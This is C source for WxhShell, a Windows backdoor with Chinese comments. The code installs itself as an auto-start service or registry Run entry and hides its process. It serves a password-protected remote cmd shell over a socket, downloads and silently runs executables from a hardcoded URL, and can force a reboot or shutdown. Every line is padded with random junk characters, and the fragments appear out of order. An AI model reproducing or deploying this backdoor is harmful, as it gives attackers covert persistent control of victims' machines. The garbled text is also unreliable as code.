    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I8YCXh  
    else { .nEiYS|T  
    closesocket(wsh);  k)W&ZY  
    ExitThread(0); [X>f;;h  
    } POX{;[SV  
    break; 4Tb"+Y}  
    } wti  
  // 获取shell >5D;uTy u  
  case 's': { ViG>gMGv  
    CmdShell(wsh); GR_caP  
    closesocket(wsh); n9-WZsc1  
    ExitThread(0); @Y}G,i  
    break; _>8Q{N\- {  
  } $I4Wl:(~}  
  // 退出 U"~W3vwJ  
  case 'x': { 9\0$YY%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T8yMaC  
    CloseIt(wsh); io@f5E+?  
    break; *.Z~f"SZy*  
    } 6qWWfm/6  
  // 离开 V7cr%tY5  
  case 'q': { mU.c!|Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Dv&K3^~Rfb  
    closesocket(wsh); p%K(dA  
    WSACleanup(); rj4R/{h  
    exit(1); {kr14 l*2  
    break; M5L/3qLh1  
        } cmU>A721  
  } K_!:oe7%  
  } }<*KM)%  
tf[)| /M  
  // 提示信息 3Vak C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i4XiwjCHN  
} {faIyKtW  
  } b`F]oQ_*  
2.MY8}&WBu  
  return; 2. v<pqn  
} > `0mn|+  
?/my G{E  
// shell模块句柄 8pZOgh  
int CmdShell(SOCKET sock) bR8`Y(=F9b  
{ NOKU2d4 G  
STARTUPINFO si; yqB!0) <  
ZeroMemory(&si,sizeof(si)); H8 xhE~'t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;uzLa%JQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qdxaP% p2  
PROCESS_INFORMATION ProcessInfo; J;4aghzY  
char cmdline[]="cmd"; jx2{kK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 14 (sp  
  return 0; @7KG0<]h  
} 8)ng> l  
?GW}:'z  
// 自身启动模式 O~Bh(_R&  
int StartFromService(void) W!Fc60>p@f  
{ 6Rmdf>a  
typedef struct d`~~Ww1  
{ FZLx.3k4  
  DWORD ExitStatus; c] t@3m  
  DWORD PebBaseAddress; h_SkX@"/-  
  DWORD AffinityMask; II!~"-WH  
  DWORD BasePriority; [^^Pl:+  
  ULONG UniqueProcessId; vu#ZLq  
  ULONG InheritedFromUniqueProcessId; +w"?q'SnF  
}   PROCESS_BASIC_INFORMATION; oYt 34@{?  
C\B4Uu6q  
PROCNTQSIP NtQueryInformationProcess; j-.Y!$a%6  
|q z%6w=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f8`dJ5i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n9n)eI)R  
p@[ fZj  
  HANDLE             hProcess; < fV][W  
  PROCESS_BASIC_INFORMATION pbi; yc`*zLWh  
q6<P\CSHy<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P,F eF'J^  
  if(NULL == hInst ) return 0; -4P `:bF  
o{^`Y   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x*=1C,C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); * ^V?u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5;,h8vW  
"/mt uU3rt  
  if (!NtQueryInformationProcess) return 0; O?cU6u;W  
b4WH37,lA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?_cOU@n  
  if(!hProcess) return 0; (z?j{J  
-'SA &[7dP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #qpP37G  
To5hVL<Ex"  
  CloseHandle(hProcess); Z*Gf`d:  
z?( b|v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x0:BxRx*  
if(hProcess==NULL) return 0; ra>2<  
DfP-(Lm)  
HMODULE hMod; Iy&,1CI"]  
char procName[255]; WqF$-rBJG^  
unsigned long cbNeeded; =0!j"z=  
RZ;s_16GQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Poa&htxe1  
py+\e" s  
  CloseHandle(hProcess); S(?A3 H  
o]<9wc:FZ  
if(strstr(procName,"services")) return 1; // 以服务启动 _SJ:|I  
Jazgn5  
  return 0; // 注册表启动 A.dbb'^  
} 'W yWO^Bdk  
akU2ToP  
// 主模块 4^M"V5tDx  
int StartWxhshell(LPSTR lpCmdLine) :O$bsw:3w<  
{ OZnKJ<  
  SOCKET wsl; W5=)B`v  
BOOL val=TRUE; w,$qsmR  
  int port=0; U+@U/s%8  
  struct sockaddr_in door; [.1ME lM  
PMV,*`"9"A  
  if(wscfg.ws_autoins) Install(); RtzSe$O  
PP>6  
port=atoi(lpCmdLine); LO>42o?/i  
WmN( (  
if(port<=0) port=wscfg.ws_port; A`ajsZ{q,  
R&J?X Q  
  WSADATA data; }v4dOGc?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7B (%2  
(Bd'Pj]:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K +3=gBU*w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Dfa3&# #{  
  door.sin_family = AF_INET; ?%}!_F`h%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0GXY2+p}S  
  door.sin_port = htons(port); .V?[<}OJn  
8/BMFRJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pDSNI2  
closesocket(wsl); xZlCFu   
return 1; +38R#2JV  
} UL{J%Ze=~  
{svo!pN:  
  if(listen(wsl,2) == INVALID_SOCKET) {  mPk'a  
closesocket(wsl); XW" 0:}`J  
return 1; n2hV}t9O  
} >([,yMIY  
  Wxhshell(wsl); 3m` >D e  
  WSACleanup(); >MYDwH  
9;?u%  
return 0; ~"CGur P  
9S*"={}%  
} =@?[.`  
OmO#} k<  
// 以NT服务方式启动 p2{7+m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \/o$io,kV  
{ #c>GjUJ.w  
DWORD   status = 0; $t(v `,  
  DWORD   specificError = 0xfffffff; '.(Gg%*\.  
o1x1SH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,7]hjf_h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A>1$?A8Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O9(z"c  
  serviceStatus.dwWin32ExitCode     = 0; I}3F'}JV<  
  serviceStatus.dwServiceSpecificExitCode = 0; g}xL7bTlI>  
  serviceStatus.dwCheckPoint       = 0; Oo}h:3?  
  serviceStatus.dwWaitHint       = 0; &|~7`  
/uj^w&l#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *}d N.IL,  
  if (hServiceStatusHandle==0) return; ,T<JNd'  
P*O G`%y  
status = GetLastError(); 0)332}Oh  
  if (status!=NO_ERROR) z qo0P~  
{ D3X4@sM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L ,dh$F  
    serviceStatus.dwCheckPoint       = 0; d*0 RBgn  
    serviceStatus.dwWaitHint       = 0; `KFEzv  
    serviceStatus.dwWin32ExitCode     = status; 8b)WOr6n  
    serviceStatus.dwServiceSpecificExitCode = specificError;  JhFbze>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KBmOi  
    return;  % D  
  } O {1" I  
EIg~^xK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'Oue 1[  
  serviceStatus.dwCheckPoint       = 0; 3I_^F&T  
  serviceStatus.dwWaitHint       = 0; pg4W?N`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); % /VCjuV  
} &uK(. @  
6*q1%rs:w  
// 处理NT服务事件,比如:启动、停止 ^{4BcM7eH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =cS&>MT  
{ jtP*C_Scv/  
switch(fdwControl) :ZV |8xI  
{ ERpAV-Zf  
case SERVICE_CONTROL_STOP: Zj2 si  
  serviceStatus.dwWin32ExitCode = 0; t]$n~!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; usB*Wn8  
  serviceStatus.dwCheckPoint   = 0; h*k V@Dc  
  serviceStatus.dwWaitHint     = 0; oS fr5 i  
  { c\{N:S>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ` kT\V'  
  } *c$[U{Px  
  return; EfrQ~`\  
case SERVICE_CONTROL_PAUSE: ,Vhve'=*2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N3n]  
  break; OlOOg  
case SERVICE_CONTROL_CONTINUE: i/x |c!E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Jr2yn{s=S  
  break; ^v'kEsE^*  
case SERVICE_CONTROL_INTERROGATE: CUu Owx6%  
  break; 4 XjwU`  
}; wtTy(j,9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .h-mFcjy  
} d m8t ~38  
iBSM \ n  
// 标准应用程序主函数 im2mA8OH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #'_#t/u  
{ V]F D'XAl  
'[ t.  
// 获取操作系统版本 ,a?)O6?/  
OsIsNt=GetOsVer(); gjDNl/r/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MA`nFkVK  
k83K2> ]  
  // 从命令行安装 .~f )4'T 9  
  if(strpbrk(lpCmdLine,"iI")) Install(); R^l0Bu]X  
 '"B  
  // 下载执行文件 MJXnAIG?2  
if(wscfg.ws_downexe) { 6]brL.eGj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MXaF q K<Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); fEHFlgN3Ap  
} &B{zS K$N  
Qn*l,Z]US  
if(!OsIsNt) { -V/y~/]J  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^k=<+*9  
HideProc(); I2[Z0G@&=  
StartWxhshell(lpCmdLine); <=M5)#  
} 3 7BSJ   
else P0l fK}  
  if(StartFromService()) 5n3yc7NPP  
  // 以服务方式启动 \f9WpAY  
  StartServiceCtrlDispatcher(DispatchTable); gk%nF  
else dk|LC-]`A  
  // 普通方式启动 72dRp!J U  
  StartWxhshell(lpCmdLine); r mX*s} B  
Hd~g\  
return 0; /mkT7,]  
} )p\`H;7*V4  
OcT Wq  
YEu+kBlcQ  
os/h~,=  
=========================================== fsL9d}  
@+b$43 ^  
Msqqjhoy  
9\Jc7[b  
]-\68bN  
4z<c8 E8  
" xMjhC;i{  
m!FuC=e  
#include <stdio.h> RE>Q5#|c  
#include <string.h> KU|W85ye  
#include <windows.h> b Hr^_ogN  
#include <winsock2.h> IuXgxR%  
#include <winsvc.h> c]4X`3]  
#include <urlmon.h> #X-C~*|>j  
dc)%5fV\  
#pragma comment (lib, "Ws2_32.lib") 7{ m>W!  
#pragma comment (lib, "urlmon.lib") 3``JrkPI  
5#.m'a)  
#define MAX_USER   100 // 最大客户端连接数 EO!,rB7I  
#define BUF_SOCK   200 // sock buffer t2d sYU/  
#define KEY_BUFF   255 // 输入 buffer sX1DbEjj[o  
}4C_r'd6  
#define REBOOT     0   // 重启 1-y8Hy_a2  
#define SHUTDOWN   1   // 关机 6>]_H(z7  
V4,Gt ]4  
#define DEF_PORT   5000 // 监听端口 rfwJLl/  
a|t~&\@  
#define REG_LEN     16   // 注册表键长度  /a1uG]Mt  
#define SVC_LEN     80   // NT服务名长度 w%])  
RTmp$lV  
// 从dll定义API NXOXN]=c<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %~Yo{4mHs  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;Nn(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v9f+ {Y%-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )L b` 4B  
dmF=8nff  
// wxhshell配置信息 q;e b  
struct WSCFG { @[r[l#4yUi  
  int ws_port;         // 监听端口 \!^=~` X-  
  char ws_passstr[REG_LEN]; // 口令 apL$`{>US  
  int ws_autoins;       // 安装标记, 1=yes 0=no aO1^>hy  
  char ws_regname[REG_LEN]; // 注册表键名 |Hf|N$  
  char ws_svcname[REG_LEN]; // 服务名 lh;fqn`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K#OL/2^ 5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fpf]qQ W~7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Yi Zk|K_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m9[ 7"I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nah?V" ?Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,WyEwc]  
._rPM>B?  
}; '4'Z  
mx9vjW fy  
// default Wxhshell configuration s@Q7F{z  
struct WSCFG wscfg={DEF_PORT, p"0#G&-  
    "xuhuanlingzhe", 1 uU$V =  
    1, }b2YX+/e$f  
    "Wxhshell", 0nt@}\j  
    "Wxhshell", DtANb^  
            "WxhShell Service", !<];N0nt#  
    "Wrsky Windows CmdShell Service", %+'Ex]B  
    "Please Input Your Password: ", 9nAP%MA`  
  1, NJBSVC b  
  "http://www.wrsky.com/wxhshell.exe", irlFB#..  
  "Wxhshell.exe" D\Ez~.H  
    }; XM\\Imw  
>w.;A%|N  
// 消息定义模块 V lx.C~WYn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }TTghE!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <+*0{8?0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y(|#!m?@  
char *msg_ws_ext="\n\rExit."; 3q%z  
char *msg_ws_end="\n\rQuit."; zmhc\M ?z  
char *msg_ws_boot="\n\rReboot..."; &{j!!LL  
char *msg_ws_poff="\n\rShutdown..."; ?M:>2wl  
char *msg_ws_down="\n\rSave to "; eA& #33  
9^/Y7Wp/@  
char *msg_ws_err="\n\rErr!"; `KZV@t  
char *msg_ws_ok="\n\rOK!"; N:lE{IvRJ  
GQ1/pys  
char ExeFile[MAX_PATH]; O:0{vu9AQ  
int nUser = 0; bSe\d~{  
HANDLE handles[MAX_USER]; w+6P x#  
int OsIsNt; }.g5zy  
#Vum  
SERVICE_STATUS       serviceStatus; ,7wYa&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }#s{."  
Rw'}>?k]  
// 函数声明 6k hBT'n  
int Install(void); 1hw.gn*JK>  
int Uninstall(void); Vit-)o{zr  
int DownloadFile(char *sURL, SOCKET wsh); EV( F!&  
int Boot(int flag); LuySa2 ,  
void HideProc(void); s~OcL  5  
int GetOsVer(void); ~ky;[  
int Wxhshell(SOCKET wsl); KJ+6Y9b1  
void TalkWithClient(void *cs); 0`E G-Hw  
int CmdShell(SOCKET sock); 6Amt75RY  
int StartFromService(void); (?l ]}p^[  
int StartWxhshell(LPSTR lpCmdLine); xN*k&!1&  
l>;hQh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4$iS@o|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (xG%H:6,  
cvsH-uAp  
// 数据结构和表定义 -*7i:mg  
SERVICE_TABLE_ENTRY DispatchTable[] = VJ\qp%  
{ +c% jOl  
{wscfg.ws_svcname, NTServiceMain}, T+L=GnYl  
{NULL, NULL} az ZtuDfv  
}; O84:ejro  
(G F}c\=T7  
// 自我安装 aV$kxzEc  
int Install(void) mo^E8t.  
{ 1'/ [x(/]d  
  char svExeFile[MAX_PATH]; ?t%{2a<X  
  HKEY key; s~{rC{9X  
  strcpy(svExeFile,ExeFile); <eXGtD  
bse`Xfg  
// 如果是win9x系统,修改注册表设为自启动 j4;^5 Dy^  
if(!OsIsNt) { "73*0'm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jSpj6:@B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l,J>[Q`<  
  RegCloseKey(key); s?HK2b^;D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vD8pVR+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %%K3J<5  
  RegCloseKey(key); }Nr6oUn  
  return 0; XncX2E4E  
    }  Z}t;:yhR  
  } *+*W# de.  
} ND1hZ3(^  
else { x\'3UKQP+^  
RNc:qV<H  
// 如果是NT以上系统,安装为系统服务 g?80>-!bF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  D_dv8  
if (schSCManager!=0) ,a&,R*r@&  
{ +(= -95qZ  
  SC_HANDLE schService = CreateService poAJl;T  
  ( (d#&m+ g]  
  schSCManager, ry|a_3X(I  
  wscfg.ws_svcname, XMS:F]HN  
  wscfg.ws_svcdisp, rQl9SUs  
  SERVICE_ALL_ACCESS, d0B`5#4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bit|L7*14  
  SERVICE_AUTO_START, /Pe xtj<  
  SERVICE_ERROR_NORMAL, ueJ^Q,-t  
  svExeFile, Ug+ K:YUq  
  NULL, cD]H~D}M  
  NULL, DY#195H  
  NULL, F'|K>!H  
  NULL, }Hb0@ b_  
  NULL /)kJ iV  
  ); ?lkB{-%rQ  
  if (schService!=0) \i+AMduAo  
  { EPJ>@A>;D  
  CloseServiceHandle(schService); `V9bd}M%~;  
  CloseServiceHandle(schSCManager); H<|}p Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (-$5YKm  
  strcat(svExeFile,wscfg.ws_svcname); j1`<+YT<#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `^Ll@Cx"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 693"Pg8b  
  RegCloseKey(key); G2N0'R "  
  return 0; 8 SU0q9X.  
    } 0uD3a-J  
  } 'Y @yW3K  
  CloseServiceHandle(schSCManager); |= cc>]  
} X'b3CS4  
} cO]w*Hti  
8KJ`+"<=@  
return 1; ' ds2\gN  
} .u\$wJ9Ai  
(.=ig X  
// 自我卸载 =COQv=GT  
int Uninstall(void) hY!ek;/Gc  
{ 1Du5Z9AM  
  HKEY key; "Bwz Fh  
4!Radl3`  
if(!OsIsNt) { c3GBY@m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \)5mO 8w  
  RegDeleteValue(key,wscfg.ws_regname); <pV8 +V)  
  RegCloseKey(key); zgz!"knVx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j_d}?jh  
  RegDeleteValue(key,wscfg.ws_regname); p>eYi \'  
  RegCloseKey(key); R`]@.i4tt  
  return 0; 8x- 19#  
  } /fUdb=!Z  
} 3|!3R'g/ >  
} EC5 = 2w<  
else { Iu P~Vt{m  
?{aC-3VAT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uDND o  
if (schSCManager!=0) Ce-= -  
{ -BP10-V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ms+ekY)  
  if (schService!=0) OIj.K@Kr  
  { V'#R1x"3  
  if(DeleteService(schService)!=0) { h!uyTgq  
  CloseServiceHandle(schService); Y=|p}>.}  
  CloseServiceHandle(schSCManager); %\HE1d5;  
  return 0; U"/T`f'H z  
  } ^[.}DNR95(  
  CloseServiceHandle(schService); Q>Klkd5(  
  } .`~?w+ ~  
  CloseServiceHandle(schSCManager); tl /i  
} Odwf7>  
} 9QX!HQ|5y8  
'k]~Q{K$  
return 1; eYP^.U)  
} 3O; H&  
1K#[Ef4  
// 从指定url下载文件 OqS!y( (  
int DownloadFile(char *sURL, SOCKET wsh) im9 w|P5  
{ Eoixw8hz  
  HRESULT hr; 1#c Tk  
char seps[]= "/"; qE2VUEv5Y  
char *token; pTGGJ,  
char *file; UapU:>!"`  
char myURL[MAX_PATH]; VqvjOeCbH  
char myFILE[MAX_PATH]; .'A1Eoo0d  
B-_b.4ND)  
strcpy(myURL,sURL); ]B;`Jf  
  token=strtok(myURL,seps); Z[w}PN,xV  
  while(token!=NULL) ip<VRC5`5  
  { Wk7E&?-:6  
    file=token; hDTC~~J/  
  token=strtok(NULL,seps); .]h/M,xg  
  } lCUYE"o  
Z8Ig,  
GetCurrentDirectory(MAX_PATH,myFILE); -5  
strcat(myFILE, "\\"); ~5N oR  
strcat(myFILE, file); y akRKiz\  
  send(wsh,myFILE,strlen(myFILE),0); B<L7`xL  
send(wsh,"...",3,0); T5|kO:CbHq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;8XRs?xyd  
  if(hr==S_OK) z H-a%$5  
return 0; 'WhJ}Uo\  
else O'IU1sU  
return 1; Q<u?BA/  
:8eI_X  
} ?R)dx uj  
x5MS#c!7  
// 系统电源模块 czIAx1R9  
int Boot(int flag) [m{sl(Q  
{ { rLgyrj$  
  HANDLE hToken; xE;O =mI  
  TOKEN_PRIVILEGES tkp; hsrf2Xw[  
^?H|RAp  
  if(OsIsNt) { $m#^0%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dq.U#Rhrx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v=iiS}s  
    tkp.PrivilegeCount = 1; Lfi6b%/z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .Ja].hP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~Z/,o)  
if(flag==REBOOT) { NW5OLa")J<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q;VuoHj!  
  return 0; 6 /YJA*  
} Le?g ,c  
else { >Y8\f:KQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uarfH]T{  
  return 0; xE@/8h  
} So!=uYX  
  } 2`riI*fQ  
  else { TMMJ5\t2  
if(flag==REBOOT) { ;$&\ :-6A#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -GFZFi  
  return 0; CnL=s6XD'  
} H}kSXKO8!8  
else { MuOKauYa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3%?tUt  
  return 0; }~+,x#  
} #at`7#K@  
} z mip  
4zS0kk;+  
return 1; =[]6NjKS,  
} $O*@Jg=  
cg3}33Z;6  
// win9x进程隐藏模块 $2h%IK>#G  
void HideProc(void) 9}9VZ r?  
{ J6s]vV q"  
-ymDRoi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -MS#YcsV  
  if ( hKernel != NULL ) p" >*WQ   
  { f/O6~I&g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e1-tpD:J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HuTtp|zM>  
    FreeLibrary(hKernel); LE<J<~2Z  
  } 24#qg '  
~>(~2083*;  
return; )L:e0u  
} ,9bnR;f\  
 <EU R:  
// 获取操作系统版本 ^C'0Y.H S  
int GetOsVer(void) :+Ukwno?/  
{ 1V1I[CxlX  
  OSVERSIONINFO winfo; 70 7( LG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qh&Qsyo%  
  GetVersionEx(&winfo); _|GbU1Hz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [ -$ Do  
  return 1; WuU wd#e  
  else uRko[W(  
  return 0; !-7n69:G  
} i WD|F-  
Z,#H\1v3lB  
// 客户端句柄模块 cp(qaa  
int Wxhshell(SOCKET wsl) klJ21j0Bb2  
{ rT[qh+KWe  
  SOCKET wsh; 2.z-&lFBZ  
  struct sockaddr_in client; Q"qI'*Kgt  
  DWORD myID;  viAAb  
yV8J-YdsG  
  while(nUser<MAX_USER) vO1; ;  
{ 6`CRT TJ7  
  int nSize=sizeof(client); FoK2h!_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _F%`7j  
  if(wsh==INVALID_SOCKET) return 1; 4c< s"2F  
#3qeRl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7v%c.  
if(handles[nUser]==0) \_1a#|97e  
  closesocket(wsh); WSHPh hM  
else nf /*n  
  nUser++; v,ssv{gU  
  } *7Q6b 4~"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EB*sd S  
2; ^ME\  
  return 0; 2HFn\kjj.s  
} 1'<C-[1  
Bx#i?=*W  
// 关闭 socket 4MS<t FH)  
void CloseIt(SOCKET wsh) C")genMH  
{ Kb?{^\FiU  
closesocket(wsh); ~'_cBJ 'XD  
nUser--; ;yJ:W8U]+;  
ExitThread(0); o]oiJvOr  
} &+2l#3}  
06pvI}   
// 客户端请求句柄 _Ub `\ytx  
void TalkWithClient(void *cs) !e|\1v'0  
{ !B3TLe h  
ls@]%pz.1d  
  SOCKET wsh=(SOCKET)cs; R p&J!hlA  
  char pwd[SVC_LEN]; U7s$';y"%  
  char cmd[KEY_BUFF]; O{X~,Em=q  
char chr[1]; >u$8Z  
int i,j; Tzex\]fw  
-)}s{[]d6m  
  while (nUser < MAX_USER) { qG6s.TcG  
sP(+Z^/  
if(wscfg.ws_passstr) { 5Ml=<^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HK!ecQ^+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6$r\p2pi0  
  //ZeroMemory(pwd,KEY_BUFF); )]1hN;Nz  
      i=0; W*C~Xba<  
  while(i<SVC_LEN) { I$7eiW @  
+& r!%j7  
  // 设置超时 -@#w)  
  fd_set FdRead; {z FME41>g  
  struct timeval TimeOut; p u(mHB  
  FD_ZERO(&FdRead); jn2=)KBa_  
  FD_SET(wsh,&FdRead); A"V mxP  
  TimeOut.tv_sec=8; >7>I1  
  TimeOut.tv_usec=0; 'Z`7/I4&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y"JR kJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <>3)S`C`p  
IO+]^nY `  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sasurR|;  
  pwd=chr[0]; 6z9 '|;,4  
  if(chr[0]==0xd || chr[0]==0xa) { TQ4@|S:OF  
  pwd=0; {6'X z  
  break; L|'^P3#7`  
  } >pU9}2fpT  
  i++; }g}Eh>U  
    } !a@)6or  
[C "\]LiX  
  // 如果是非法用户,关闭 socket 3$\k=q3`#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W'[V$*  
} 'h*jL@%TT  
<gp?}Lk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X NJ4T]><  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t7+A !7b{  
EA& 3rI>U)  
while(1) { xl\Kj2^  
m^_=^z+  
  ZeroMemory(cmd,KEY_BUFF); Jxe+LG  
~K;QdV=YX  
      // 自动支持客户端 telnet标准   ":Dm/g  
  j=0; iQ)ydY a  
  while(j<KEY_BUFF) { W7>2&$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sl]< A[jR  
  cmd[j]=chr[0]; E#k{<LYI  
  if(chr[0]==0xa || chr[0]==0xd) { MYAt4cHc2  
  cmd[j]=0; OR <+y~Rv  
  break; (@1:1K(   
  } 6CY&pbR  
  j++; k +-w%  
    } _[2@2q0  
S&-K!XyJ  
  // 下载文件 x;/LOa{LR  
  if(strstr(cmd,"http://")) { ?E([Nc0T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B 71/nt9  
  if(DownloadFile(cmd,wsh)) @]@|H?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _wq?Pa<)e  
  else " 9Gn/-V>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <S@jf4  
  } HK@ij,px  
  else { Ke$_l]}  
[xMa^A>p  
